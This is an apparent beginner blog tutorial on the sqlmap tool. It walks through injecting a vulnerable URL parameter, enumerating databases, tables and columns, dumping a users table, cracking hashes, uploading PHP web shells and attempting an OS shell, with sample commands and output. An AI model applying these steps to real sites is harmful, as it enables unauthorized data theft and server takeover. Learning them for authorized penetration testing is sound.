binarytides.com

Sqlmap tutorial for beginners - hacking with sql injection

12-15 minutes

Sqlmap

Sqlmap is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of hacking like extracting database names, tables, columns, all the data in the tables etc. It can even read and write files on the remote file system under certain conditions. Written in python it is one of the most powerful hacking tools out there. Sqlmap is the metasploit of sql injections.

Sqlmap is included in pen testing linux distros like kali linux, backtrack, backbox etc. On other distros it can be simply downloaded from the following url

http://sqlmap.org/.

Since its written in python, first you have to install python on your system. On ubuntu install python from synaptic. On windows install activestate python. Check out this post for details on how to install and run sqlmap on windows.

For the list of options and parameters that can be used with the sqlmap command, check the sqlmap documentation at https://github.com/sqlmapproject/sqlmap/wiki/Usage

In this tutorial we are going to learn how to use sqlmap to exploit a vulnerable web application and see what all can be done with such a tool.

To understand this tutorial you should have thorough knowledge of how database driven web applications work. For example those made with php+mysql.

Vulnerable Urls

Lets say there is a web application or website that has a url in it like this

```
http://www.site.com/section.php?id=51
```

and it is prone to sql injection because the developer of that site did not properly escape the parameter id. This can be simply tested by trying to open the url

```
http://www.site.com/section.php?id=51'
```

We just added a single quote in the parameter. If this url throws an error or reacts in an unexpected manner then it is clear that the database has got the unexpected single quote which the application did not escape properly. So in this case this input parameter "id" is vulnerable to sql injection.

Hacking with sqlmap

Now its time to move on to sqlmap to hack such urls. The sqlmap command is run from the terminal with the python interpreter.

```
python sqlmap.py -u "http://www.site.com
```

```
/section.php?id=51"
```

The above is the first and most simple command to run with the sqlmap tool. It checks the input parameters to find if they are vulnerable to sql injection or not. For this sqlmap sends different kinds of sql injection payloads to the input parameter and checks the output. In the process sqlmap is also able to identify the remote system os, database name and version. Here is how the output might look like

```
[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target
url
sqlmap identified the following injection points
with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or
HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT
COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN
(1489=1489) THEN 1 ELSE 0
END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
```

So the sqlmap tool has discovered the operating system, web server and database along with version information. Even this much is pretty impressive. But its time to move on and see what more is this tool capable of.

Discover Databases

Once sqlmap confirms that a remote url is vulnerable to sql injection and is exploitable the next step is to find out the names of the databases that exist on the remote system. The "--dbs" option is used to get the database list.

```
$ python sqlmap.py -u "http://www.sitemap.com
/section.php?id=51" --dbs
```

The output could be something like this

```
[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target
url
sqlmap identified the following injection points
with a total of 0 HTTP(s) requests:
---
```

```
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or
HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT
COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN
(1489=1489) THEN 1 ELSE 0
END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2
entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics
```

The output shows the existing databases on the remote system.

Find tables in a particular database

Now its time to find out what tables exist in a particular database. Lets say the database of interest over here is 'safecosmetics'

Command

```
$ python sqlmap.py -u "http://www.site.com
/section.php?id=51" --tables -D safecosmetics
```

and the output can be something similar to this

```
[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database:
'safecosmetics'
[11:55:19] [INFO] heuristics detected web page
charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216
entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
........... more tables
```

isnt this amazing ? it if ofcourse. Lets get the columns of a particular table now.

Get columns of a table

Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is 'users' and it contains the username and password.

```
$ python sqlmap.py -u "http://www.site.com
/section.php?id=51" --columns -D safecosmetics -T
users
```

The output can be something like this

```
[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table
'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page
charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8
entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)
[12:17:45] [INFO] retrieved: name
[12:17:46] [INFO] retrieved: text
[12:17:47] [INFO] retrieved: password
[12:17:48] [INFO] retrieved: text

.......

[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| email             | text         |
| hash              | varchar(128) |
| id                | int(11)      |
| name              | text         |
| password          | text         |
| permission        | tinyint(4)   |
| system_allow_only | text         |
| system_home       | text         |
+-------------------+--------------+
```

So now the columns are clearly visible. Good job!

Get data from a table

Now comes the most interesting part, of extracting the data from the table. The command would be

```
$ python sqlmap.py -u "http://www.site.com
/section.php?id=51" --dump -D safecosmetics -T
users
```

The above command will simply dump the data of the particular table, very much like the mysqldump command.
The output might look similar to this

```
+----+--------------------+-----------+-----------+----------+------------+--------
| id | hash               | name      | email
| password | permission | system_home |
system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+--------
| 1  | 5DIpzzDHFOwnCvPonu | admin     | <blank>
| <blank>  | 3          | <blank>     | <blank>
|
+----+--------------------+-----------+-----------+----------+------------+--------
```

The hash column seems to have the password hash. Try cracking the hash and then you would get the login details rightaway. sqlmap will create a csv file containing the dump data for easy analysis.

So far we have been able to collect a lot of information from the remote database using sqlmap. Its almost like having direct access to remote database through a client like phpmyadmin. In real scenarios hackers would try to gain a higher level to access to the system. For this, they would try to crack the password hashes and try to login through the admin panel. Or they would try to get an os shell using sqlmap.

I wrote another post on using sqlmap to get more details about remote databases. It explains the other options of sqlmap that are useful to find the out the database users, their privileges and their password hashes.

What Next ?

Execute arbitrary sql queries

This is probably the easiest thing to do on a server that is vulnerable to sql injection. The --sql-query parameter can be used to specify a sql query to execute. Things of interest would be to create a user in the users table or something similar. Or may be change/modify the content of cms pages etc.

Another paramter --sql-shell would give an sql shell like interface to run queries interactively.

Get inside the admin panel and play

If the website is running some kind of custom cms or something similar that has an admin panel, then it might be possible to get inside provided you are able to crack the password retrieved in the database dump. Simple and short length passwords can be broken simply by brute forcing or google.com.

Check if the admin panel allows to upload some files. If an arbitrary php file can be uploaded then it be a lot greater fun. The php file can contain shell_exec, system ,exec or passthru function calls and that will allow to execute arbitary system commands. Php web shell scripts can be uploaded to do the same thing.

Shell on remote OS

This is the thing to do to completely takeover the server. However note that it is not as easy and trivial as the tricks shown above. sqlmap comes with a parameter call --os-shell that can be used to try to get a shell on remote system, but it has many limitations of its own.

According to the sqlmap manual

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

The most important privilege needed by the current database user is to write files through the database functions. This is absent in most cases. Hence this technique will not work in most cases.

Note

1. Sometimes sqlmap is unable to connect to the url at all. This is visible when it gets stuck at the first task of "testing connection to the target url". In such cases its helpful to use the "--random-agent" option. This makes sqlmap to use a valid user agent signature like the ones send by a browser like chrome or firefox.

2. For urls that are not in the form of param=value sqlmap cannot automatically know where to inject. For example mvc urls like http://www.site.com/class_name/method/43/80.

In such cases sqlmap needs to be told the injection point marked by a *

```
http://www.site.com/class_name/method/43*/80
```

The above will tell sqlmap to inject at the point marked by *

3. When using forms that submit data through post method then sqlmap has to be provided the post data in the "--data" options. For more information check out this [tutorial on using sqlmap with forms](#).

Resources

1. http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated
2. http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857

Last Updated On : 7th August 2013